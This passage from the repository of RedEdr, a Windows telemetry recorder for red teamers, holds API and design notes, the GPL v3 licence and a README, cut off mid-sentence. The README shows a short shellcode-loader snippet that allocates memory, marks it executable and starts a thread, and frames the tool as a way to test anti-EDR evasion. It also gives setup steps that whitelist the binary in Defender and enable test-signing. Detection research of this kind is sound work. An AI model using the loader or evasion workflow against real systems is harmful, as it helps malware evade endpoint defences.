\"type\":\"meta\",\n        \"version\":\"0.4\"\n    }\n]\n```\n\n### GET /api/logs/agent\nGet the logging output of the agent itself (RedEdr and also RedEdrPplService).\n\nResponse: `application/json`\n- Array of log strings\n\nResponse example:\n```json\n[ \n    \"RedEdr 0.4\",\n    \"Config: tracing otepad\",\n    \"Permissions: Enabled PRIVILEGED & DEBUG\"\n]\n```\n\n\n## Lock Management\n\nIf RedEdr is used by multiple users, they can lock RedEdr for their\nduration of use. If this is not being done, weird results will happen.\n\n### POST /api/lock/acquire\nAcquires a resource lock to prevent concurrent access.\n- **Response**: `200 OK` if lock acquired successfully\n- **Error Responses**:\n  - `409 Conflict` - Resource is already in use\n  - `{\"status\": \"error\", \"message\": \"Resource is already in use\"}`\n\n### POST /api/lock/release\nReleases the resource lock.\n- **Response**: `200 OK` - Lock released\n\n### GET /api/lock/status\nGets the current lock status.\n- **Response**: JSON object with lock state\n- **Response Format**: `{\"in_use\": true/false}`\n\n"
  },
  {
    "path": "Doc/notes.md",
    "content": "# Notes\n\n## Solutions\n\nRedEdr: \n* ETW reader\n* MPLOG reader\n* pipe-server for RedEdrDll (`pipe\\\\RedEdrDllCom`)\n* pipe-server for RedEdrDriver (`pipe\\\\RedEdrKrnCom`)\n* pipe-client for RedEdrPplService (`pipe\\\\RedEdrPplService`)\n\nRedEdrDriver:\n* Kernel driver to capture kernel callbacks\n* Will do KAPC injection\n* connects to RedEdr `pipe\\\\RedEdrKrnCom` to transmit captured data\n* Receives IOCTL from RedEdr to be instructed\n\nRedEdrPplService: \n* to be loaded as PPL windows service\n* To capture ETW-TI\n* connects to RedEdr `pipe\\\\RedEdrDllCom` to transmit captured data\n* provides `pipe\\\\RedEdrPplService` for RedEdr to connect to be instructed\n\nRedEdrDll: \n* amsi.dll style, to be injected into target processes\n* connects to RedEdr `pipe\\\\RedEdrDllCom` to transmit captured data\n* will receive config from RedEdr first\n\nRedEdrTester: \n* internal testing tool\n\n\n## Notifications\n\nNotify components about new config: \n* RedEdr: Automatic\n* RedEdrDriver: send IOCTL\n* RedEdrPplService: pipe\n* RedEdrDll: pipe (automatic on new process creation))\n"
  },
  {
    "path": "LICENSE.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "﻿# RedEdr\n\nDisplay events from Windows to see the detection surface of your malware. Same data as an ETW-based EDR sees (Defender, Elastic, Fibratus...). \n\n* Identify the telemetry your malware generates (detection surface)\n* Verify your anti-EDR techniques work\n* Debug and analyze your malware\n\nIt generates [JSON files](https://github.com/dobin/RedEdr/tree/master/Data)\ncollecting [the telemetry](https://github.com/dobin/RedEdr/blob/master/Doc/captured_events.md) \nof your RedTeaming tools. \n\nIt is now part of Detonator, see [detonator.r00ted.ch](https://detonator.r00ted.ch). \n\n\n## Screenshots\n\nShellcode execution:\n```c\n\tPVOID shellcodeAddr = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n\tmemcpy(shellcodeAddr, payload, payloadSize);\n\tVirtualProtect(shellcodeAddr, payloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection));\n\tHANDLE hThread = CreateThread(NULL, 0, shellcodeAddr, shellcodeAddr, 0, &threadId);\n```\n\nWith ntdll.dll hooking:\n![RedEdr Screenshot ntdll.dll hooking](https://raw.github.com/dobin/RedEdr/master/Doc/screenshot-web-rwx-dll.png)\n\n\nETW events:\n![RedEdr Screenshot ETW](https://raw.github.com/dobin/RedEdr/master/Doc/screenshot-web-rwx-etw.png)\n\n\n## Implemented Telemetry Consumers\n\n* ETW\n  * Microsoft-Windows-Kernel-Process\n  * Microsoft-Windows-Kernel-Audit-API-Calls\n  * Microsoft-Windows-Security-Auditing\n  * Defender\n    * Microsoft-Antimalware-Engine\n    * Microsoft-Antimalware-RTP\n    * Microsoft-Antimalware-AMFilter\n    * Microsoft-Antimalware-Scan-Interface\n    * Microsoft-Antimalware-Protection\n  * ETW-TI (Threat Intelligence) with a PPL service via ELAM driver\n\n* Kernel Callbacks\n  * PsSetCreateProcessNotifyRoutine\n  * PsSetCreateThreadNotifyRoutine\n  * PsSetLoadImageNotifyRoutine\n  * (ObRegisterCallbacks, not used atm)\n\n* ntdll.dll hooking \n\n* Callstacks\n  * On ntdll.dll hook invocation\n  * On several ETW events\n \n* process query\n  * PEB\n  * Loaded DLL's (and their regions)\n\n\n## Installation\n\nUse a dedicated VM for RedEdr. \n\nExtract release.zip into `C:\\RedEdr`. **No other directories are supported.**\n\nWhitelist `C:\\RedEdr\\RedEdr.exe` in your AV (Defender).\n\nStart terminal as local admin.\n\nChange into `C:\\RedEdr` and run `.\\RedEdr.exe`:\n```\nPS C:\\rededr> .\\RedEdr.exe\nMaldev event recorder\nUsage:\n  RedEdr [OPTION...]\n  -t, --trace arg     Process name to trace\n  -e, --etw           Input: Consume ETW Events\n  -g, --etwti         Input: Consume ETW-TI Events\n  -m, --mplog         Input: Consume Defender mplog file\n  -k, --kernel        Input: Consume kernel callback events\n  -i, --inject        Input: Consume DLL injection\n  -w, --web           Output: Web server\n...\n```\n\nTry: `.\\RedEdr.exe --etw --trace otepad`, and then start notepad \n(will be `notepad.exe` on Windows 10, `Notepad.exe` on Windows 11).\nThe log should be printed as stdout.\n\n\n## Simple ETW Usage\n\nRedEdr will trace all processes containing by process image name (exe path).\n\nCapture ETW events and provide a web interface on [http://localhost:8081](http://localhost:8081):\n```\nPS > .\\RedEdr.exe --etw --web --trace notepad.exe\n```\n\n\n## Advanced Usage\n\nFor ntdll.dll hooking and ETW-TI, we need to configure windows so it can\nload our kernel module. \n\nChange Windows boot options to enable self-signed kernel drivers and reboot.\n\nIn admin cmd:\n```\nPS > bcdedit /set testsigning on\nPS > bcdedit -debug on\nPS > shutdown /r /t 0\n```\n\nIf you use Hyper-V, uncheck \"Security -> Enable Secure Boot\". \n\n\n### ETW-TI\n\nETW-TI requires an ELAM driver to start `RedEdrPplService`, \nand therefore requires self signed kernel driver 